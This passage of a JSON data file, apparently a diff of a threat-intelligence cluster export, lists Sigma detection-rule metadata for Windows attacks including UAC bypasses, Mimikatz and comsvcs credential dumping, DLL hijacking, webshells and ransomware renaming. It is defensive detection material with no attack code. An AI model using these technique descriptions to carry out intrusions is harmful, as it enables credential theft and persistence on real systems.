"https://jpcertcc.github.io/ToolAnalysisResultSheet/details/PowerSploit_Invoke-Mimikatz.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_system_interactive_powershell.yml" - ], - "tags": "No established tags", - "creation_date": "2021/12/07", - "filename": "file_event_win_susp_system_interactive_powershell.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Administrative activity", - "PowerShell scripts running as SYSTEM user" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of tasks from processes executed from suspicious locations", - "uuid": "80e1f67a-4596-4351-98f5-a9c3efabac95", - "value": "Suspicious Scheduled Task Write to System32 Tasks", - "meta": { - "refs": [ - "Internal Research", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_task_write.yml" - ], - "tags": [ - "attack.persistence", - "attack.execution", - "attack.t1053" - ], - "creation_date": "2021/11/16", - "filename": "file_event_win_susp_task_write.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of log files during a TeamViewer remote session", - "uuid": "162ab1e4-6874-4564-853c-53ec3ab8be01", - "value": "TeamViewer Remote Session", - "meta": { - "refs": [ - "https://www.teamviewer.com/en-us/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_teamviewer_remote_session.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2022/01/30", - "filename": "file_event_win_susp_teamviewer_remote_session.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate uses of TeamViewer in an organisation" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence", - "uuid": "3a9fa2ec-30bc-4ebd-b49e-7c9cff225502", - "value": "VsCode Powershell Profile Modification", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_vscode_powershell_profile.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1546.013" - ], - "creation_date": "2022/08/24", - "filename": "file_event_win_susp_vscode_powershell_profile.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate use of the profile by developers or administrators" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of an file in user Word Startup", - "uuid": "a10a2c40-2c4d-49f8-b557-1a946bc55d9d", - "value": "Creation In User Word Startup Folder", - "meta": { - "refs": [ - "Malware Sandbox https://app.any.run/tasks/d6fe6624-6ef8-485d-aa75-3d1bdda2a08c/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_susp_winword_startup.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587.001" - ], - "creation_date": "2022/06/05", - "filename": "file_event_win_susp_winword_startup.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Addition of legitimate plugins" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects default PsExec service filename which indicates PsExec service installation and execution", - "uuid": "259e5a6a-b8d2-4c38-86e2-26c5e651361d", - "value": "PsExec Service File Creation", - "meta": { - "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", - "https://jpcertcc.github.io/ToolAnalysisResultSheet", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tool_psexec.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569.002", - "attack.s0029" - ], - "creation_date": "2017/06/12", - "filename": "file_event_win_tool_psexec.yml", - "author": "Thomas Patzke", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder", - "uuid": "52753ea4-b3a0-4365-910d-36cff487b789", - "value": "Hijack Legit RDP Session to Move Laterally", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_tsclient_filewrite_startup.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ], - "creation_date": "2019/02/21", - "filename": "file_event_win_tsclient_filewrite_startup.yml", - "author": "Samir Bousseaden", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using consent.exe and comctl32.dll (UACMe 22)", - "uuid": "62ed5b55-f991-406a-85d9-e8e8fdf18789", - "value": "UAC Bypass Using Consent and Comctl32 - File", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_consent_comctl32.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/23", - "filename": "file_event_win_uac_bypass_consent_comctl32.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)", - "uuid": "93a19907-d4f9-4deb-9f91-aac4692776a6", - "value": "UAC Bypass Using .NET Code Profiler on MMC", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_dotnet_profiler.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "file_event_win_uac_bypass_dotnet_profiler.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of a UAC bypass using Windows Event Viewer", - "uuid": "63e4f530-65dc-49cc-8f80-ccfa95c69d43", - "value": "UAC Bypass Using EventVwr", - "meta": { - "refs": [ - "https://twitter.com/orange_8361/status/1518970259868626944?s=20&t=RFXqZjtA7tWM3HxqEH78Aw", - "https://twitter.com/splinter_code/status/1519075134296006662?s=12&t=DLUXH86WtcmG_AZ5gY3C6g", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_eventvwr.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation" - ], - "creation_date": "2022/04/27", - "filename": "file_event_win_uac_bypass_eventvwr.yml", - "author": "Antonio Cocomazzi (idea), Florian Roth (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of a file by \"dllhost.exe\" in System32 directory part of \"IDiagnosticProfileUAC\" UAC bypass technique", - "uuid": "48ea844d-19b1-4642-944e-fe39c2cc1fec", - "value": "UAC Bypass Using IDiagnostic Profile - File", - "meta": { - "refs": [ - "https://github.com/Wh04m1001/IDiagnosticProfileUAC", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_idiagnostic_profile.yml" - ], - "tags": [ - "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2022/07/03", - "filename": "file_event_win_uac_bypass_idiagnostic_profile.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)", - "uuid": "bdd8157d-8e85-4397-bb82-f06cc9c71dbb", - "value": "UAC Bypass Using IEInstal - File", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ieinstal.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "file_event_win_uac_bypass_ieinstal.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using a msconfig GUI hack (UACMe 55)", - "uuid": "41bb431f-56d8-4691-bb56-ed34e390906f", - "value": "UAC Bypass Using MSConfig Token Modification - File", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_msconfig_gui.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "file_event_win_uac_bypass_msconfig_gui.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using NTFS reparse point and wusa.exe DLL hijacking (UACMe 36)", - "uuid": "7fff6773-2baa-46de-a24a-b6eec1aba2d1", - "value": "UAC Bypass Using NTFS Reparse Point - File", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_ntfs_reparse_point.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "file_event_win_uac_bypass_ntfs_reparse_point.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using a path parsing issue in winsat.exe (UACMe 52)", - "uuid": "155dbf56-e0a4-4dd0-8905-8a98705045e8", - "value": "UAC Bypass Abusing Winsat Path Parsing - File", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_winsat.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/30", - "filename": "file_event_win_uac_bypass_winsat.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)", - "uuid": "68578b43-65df-4f81-9a9b-92f32711a951", - "value": "UAC Bypass Using Windows Media Player - File", - "meta": { - "refs": [ - "https://github.com/hfiref0x/UACME", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_uac_bypass_wmp.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1548.002" - ], - "creation_date": "2021/08/23", - "filename": "file_event_win_uac_bypass_wmp.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Possible webshell file creation on a static web site", - "uuid": "39f1f9f2-9636-45de-98f6-a4046aa8e4b9", - "value": "Windows Webshell Creation", - "meta": { - "refs": [ - "PT ESC rule and personal experience", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_webshell_creation_detect.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1505.003" - ], - "creation_date": "2019/10/22", - "filename": "file_event_win_webshell_creation_detect.yml", - "author": "Beyu Denis, oscd.community, Tim Shelton", - "level": "high", - "falsepositive": [ - "Legitimate administrator or developer creating legitimate executable files in a web application folder" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects WerFault copoed to a suspicious folder, which could be a sign of WerFault DLL hijacking", - "uuid": "28a452f3-786c-4fd8-b8f2-bddbe9d616d1", - "value": "Creation of an WerFault.exe in Unusual Folder", - "meta": { - "refs": [ - "https://www.bleepingcomputer.com/news/security/hackers-are-now-hiding-malware-in-windows-event-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_werfault_dll_hijacking.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1574.001" - ], - "creation_date": "2022/05/09", - "filename": "file_event_win_werfault_dll_hijacking.yml", - "author": "frack113", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects execution of attacker-controlled WsmPty.xsl or WsmTxt.xsl via winrm.vbs and copied cscript.exe (can be renamed)", - "uuid": "d353dac0-1b41-46c2-820c-d7d2561fc6ed", - "value": "AWL Bypass with Winrm.vbs and Malicious WsmPty.xsl/WsmTxt.xsl", - "meta": { - "refs": [ - "https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winrm_awl_bypass.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1216" - ], - "creation_date": "2020/10/06", - "filename": "file_event_win_winrm_awl_bypass.yml", - "author": "Julia Fomina, oscd.community", - "level": "medium", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects file creation patterns noticeable during the exploitation of CVE-2021-40444", - "uuid": "60c0a111-787a-4e8a-9262-ee485f3ef9d5", - "value": "Suspicious Word Cab File Write CVE-2021-40444", - "meta": { - "refs": [ - "https://twitter.com/RonnyTNL/status/1436334640617373699?s=20", - "https://twitter.com/vanitasnk/status/1437329511142420483?s=21", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_winword_cve_2021_40444.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587" - ], - "creation_date": "2021/09/10", - "filename": "file_event_win_winword_cve_2021_40444.yml", - "author": "Florian Roth, Sittikorn S", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of the default output filename used by the wmicexec tool", - "uuid": "8d5aca11-22b3-4f22-b7ba-90e60533e1fb", - "value": "Wmiexec Default Output File", - "meta": { - "refs": [ - "https://www.crowdstrike.com/blog/how-to-detect-and-prevent-impackets-wmiexec/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiexec_default_filename.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1047" - ], - "creation_date": "2022/06/02", - "filename": "file_event_win_wmiexec_default_filename.yml", - "author": "Nasreddine Bencherchali", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\\Windows\\System32\\wbem\\` directory over the network and loading it for a WMI DLL Hijack scenario.", - "uuid": "614a7e17-5643-4d89-b6fe-f9df1a79641c", - "value": "Wmiprvse Wbemcomn DLL Hijack", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-201009173318.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmiprvse_wbemcomn_dll_hijack.yml" - ], - "tags": [ - "attack.execution", - "attack.t1047", - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2020/10/12", - "filename": "file_event_win_wmiprvse_wbemcomn_dll_hijack.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects file writes of WMI script event consumer", - "uuid": "33f41cdd-35ac-4ba8-814b-c6a4244a1ad4", - "value": "WMI Persistence - Script Event Consumer File Write", - "meta": { - "refs": [ - "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wmi_persistence_script_event_consumer_write.yml" - ], - "tags": [ - "attack.t1546.003", - "attack.persistence" - ], - "creation_date": "2018/03/07", - "filename": "file_event_win_wmi_persistence_script_event_consumer_write.yml", - "author": "Thomas Patzke", - "level": "high", - "falsepositive": [ - "Dell Power Manager (C:\\Program Files\\Dell\\PowerManager\\DpmPowerPlanSetup.exe)" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of template files for Microsoft Office from outside Office", - "uuid": "0e20c89d-2264-44ae-8238-aeeaba609ece", - "value": "Office Template Creation", - "meta": { - "refs": [ - "https://insight-jp.nttsecurity.com/post/102hojk/operation-restylink-apt-campaign-targeting-japanese-companies", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_word_template_creation.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1137" - ], - "creation_date": "2022/06/02", - "filename": "file_event_win_word_template_creation.yml", - "author": "Max Altgelt", - "level": "high", - "falsepositive": [ - "Loading a user environment from a backup or a domain controller", - "Synchronization of templates" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects creation of a file named \"wpbbin\" in the \"%systemroot%\\system32\\\" directory. Which could be indicative of UEFI based persistence method", - "uuid": "e94b9ddc-eec5-4bb8-8a58-b9dc5f4e185f", - "value": "UEFI Persistence Via Wpbbin - FileCreation", - "meta": { - "refs": [ - "https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c", - "https://persistence-info.github.io/Data/wpbbin.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_wpbbin_persistence.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.t1542.001" - ], - "creation_date": "2022/07/18", - "filename": "file_event_win_wpbbin_persistence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Legitimate usage of the file by hardware manufacturer such as lenovo (Thanks @0gtweet for the tip)" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Aversaries may use to interact with a remote network share using Server Message Block (SMB).\nThis technique is used by post-exploitation frameworks.\n", - "uuid": "4aafb0fa-bff5-4b9d-b99e-8093e659c65f", - "value": "Writing Local Admin Share", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.002/T1021.002.md#atomic-test-4---execute-command-writing-output-to-local-admin-share", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_writing_local_admin_share.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1546.002" - ], - "creation_date": "2022/01/01", - "filename": "file_event_win_writing_local_admin_share.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "file_event", - "logsource.product": "windows" - } - }, - { - "description": "Detects cases in which a file gets renamed to .dll, which often happens to bypass perimeter protection", - "uuid": "bbfd974c-248e-4435-8de6-1e938c79c5c1", - "value": "Rename Common File to DLL File", - "meta": { - "refs": [ - "https://twitter.com/ffforward/status/1481672378639912960", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1036/T1036.md#atomic-test-1---system-file-copied-to-unusual-location", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_not_dll_to_dll.yml" - ], - "tags": "No established tags", - "creation_date": "2022/02/19", - "filename": "file_rename_win_not_dll_to_dll.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Application installation" - ], - "logsource.category": "file_rename", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible ransomware adding a custom extension to the encrypted files, such as \".jpg.crypted\", \".docx.locky\" etc.", - "uuid": "e3f673b3-65d1-4d80-9146-466f8b63fa99", - "value": "Suspicious Appended Extension", - "meta": { - "refs": [ - "https://app.any.run/tasks/d66ead5a-faf4-4437-93aa-65785afaf9e5/", - "https://blog.cyble.com/2022/08/10/onyx-ransomware-renames-its-leak-site-to-vsop/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_rename/file_rename_win_ransomware.yml" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ], - "creation_date": "2022/07/16", - "filename": "file_rename_win_ransomware.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Backup software" - ], - "logsource.category": "file_rename", - "logsource.product": "windows" - } - }, - { - "description": "Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account)\nwanting to perform SSO authentication in the browser.\nAn attacker can use this to authenticate to Azure AD in a browser as that user.\n", - "uuid": "50f852e6-af22-4c78-9ede-42ef36aa3453", - "value": "Abusing Azure Browser SSO", - "meta": { - "refs": [ - "https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_abusing_azure_browser_sso.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1574.002" - ], - "creation_date": "2020/07/15", - "filename": "image_load_abusing_azure_browser_sso.yml", - "author": "Den Iuzvyk", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", - "uuid": "fe6e002f-f244-4278-9263-20e4b593827f", - "value": "Alternate PowerShell Hosts", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190610201010.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_alternate_powershell_hosts_moduleload.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/09/12", - "filename": "image_load_alternate_powershell_hosts_moduleload.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects loading of Microsoft Defender's DLLs by its processes (MpCmdRun and NisSrv) from the non-default directory which may be an attempt to sideload arbitrary DLL", - "uuid": "418dc89a-9808-4b87-b1d7-e5ae0cb6effc", - "value": "Microsoft Defender Loading DLL from Nondefault Path", - "meta": { - "refs": [ - "https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_defender_load_dll_from_nondefault_path.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002" - ], - "creation_date": "2022/08/02", - "filename": "image_load_defender_load_dll_from_nondefault_path.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Very unlikely" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects DLL image load activity as used by FoggyWeb backdoor loader", - "uuid": "640dc51c-7713-4faa-8a0e-e7c0d9d4654c", - "value": "FoggyWeb Backdoor DLL Loading", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_foggyweb_nobelium.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1587" - ], - "creation_date": "2021/09/27", - "filename": "image_load_foggyweb_nobelium.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects loading of essential DLL used by PowerShell, but not by the process powershell.exe. Detects meterpreter's \"load powershell\" extension.", - "uuid": "092bc4b9-3d1d-43b4-a6b4-8c8acd83522f", - "value": "In-memory PowerShell", - "meta": { - "refs": [ - "https://adsecurity.org/?p=2921", - "https://github.com/p3nt4/PowerShdll", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_in_memory_powershell.yml" - ], - "tags": [ - "attack.t1059.001", - "attack.execution" - ], - "creation_date": "2019/11/14", - "filename": "image_load_in_memory_powershell.yml", - "author": "Tom Kern, oscd.community, Natalia Shornikova, Tim Shelton", - "level": "medium", - "falsepositive": [ - "Used by some .NET binaries, minimal on user workstation.", - "Used by Microsoft SQL Server Management Studio" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects certain DLL loads when Mimikatz gets executed", - "uuid": "c0478ead-5336-46c2-bd5e-b4c84bc3a36e", - "value": "Mimikatz In-Memory", - "meta": { - "refs": [ - "https://securityriskadvisors.com/blog/post/detecting-in-memory-mimikatz/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_mimikatz_inmemory_detection.yml" - ], - "tags": [ - "attack.s0002", - "attack.t1003", - "attack.lateral_movement", - "attack.credential_access", - "car.2019-04-004" - ], - "creation_date": "2017/03/13", - "filename": "image_load_mimikatz_inmemory_detection.yml", - "author": "sigma", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects both of CVE-2022-30190 / Follina and DogWalk vulnerability exploiting msdt.exe binary to load sdiageng.dll binary", - "uuid": "ec8c4047-fad9-416a-8c81-0f479353d7f6", - "value": "MSDT.exe Loading Diagnostic Library", - "meta": { - "refs": [ - "https://www.securonix.com/blog/detecting-microsoft-msdt-dogwalk/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_msdt_sdiageng.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202", - "cve.2022.30190" - ], - "creation_date": "2022/06/17", - "filename": "image_load_msdt_sdiageng.yml", - "author": "Greg (rule)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects processes loading modules related to PCRE.NET package", - "uuid": "84b0a8f3-680b-4096-a45b-e9a89221727c", - "value": "PCRE.NET Package Image Load", - "meta": { - "refs": [ - "https://twitter.com/rbmaslen/status/1321859647091970051", - "https://twitter.com/tifkin_/status/1321916444557365248", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pcre_net_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2020/10/29", - "filename": "image_load_pcre_net_load.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report", - "uuid": "35a7dc42-bc6f-46e0-9f83-81f8e56c8d4b", - "value": "Pingback Backdoor", - "meta": { - "refs": [ - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel", - "https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_pingback_backdoor.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1574.001" - ], - "creation_date": "2021/05/05", - "filename": "image_load_pingback_backdoor.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Very unlikely" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects rundll32 loading a renamed comsvcs.dll to dump process memory", - "uuid": "8cde342c-ba48-4b74-b615-172c330f2e93", - "value": "Rundll32 Loading Renamed Comsvcs DLL", - "meta": { - "refs": [ - "https://twitter.com/sbousseaden/status/1555200155351228419", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_rundll32_loading_renamed_comsvcs.yml" - ], - "tags": [ - "attack.credential_access", - "attack.defense_evasion", - "attack.t1003.001" - ], - "creation_date": "2022/08/14", - "filename": "image_load_rundll32_loading_renamed_comsvcs.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "image_load", - "logsource.product": "windows" - } - }, - { - "description": "Detects signs of the WMI script host process %SystemRoot%\\system32\\wbem\\scrcons.exe functionality being used via images being loaded by a process.", - "uuid": "b439f47d-ef52-4b29-9a2f-57d8a96cb6b8", - "value": "WMI Script Host Process Image Loaded", - "meta": { - "refs": [ - "https://twitter.com/HunterPlaybook/status/1301207718355759107", - "https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/", - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_imageload_wmi_scripteventconsumer.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.003" - ], - "creation_date": "2020/09/02", - "filename": "image_load_scrcons_imageload_wmi_scripteventconsumer.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "medium", - "falsepositive": [ - "Legitimate event consumers", - "Dell computers on some versions register an event consumer that is known to cause false positives when brightness is changed by the corresponding keyboard button" - ], - "logsource.category": "image_load", - 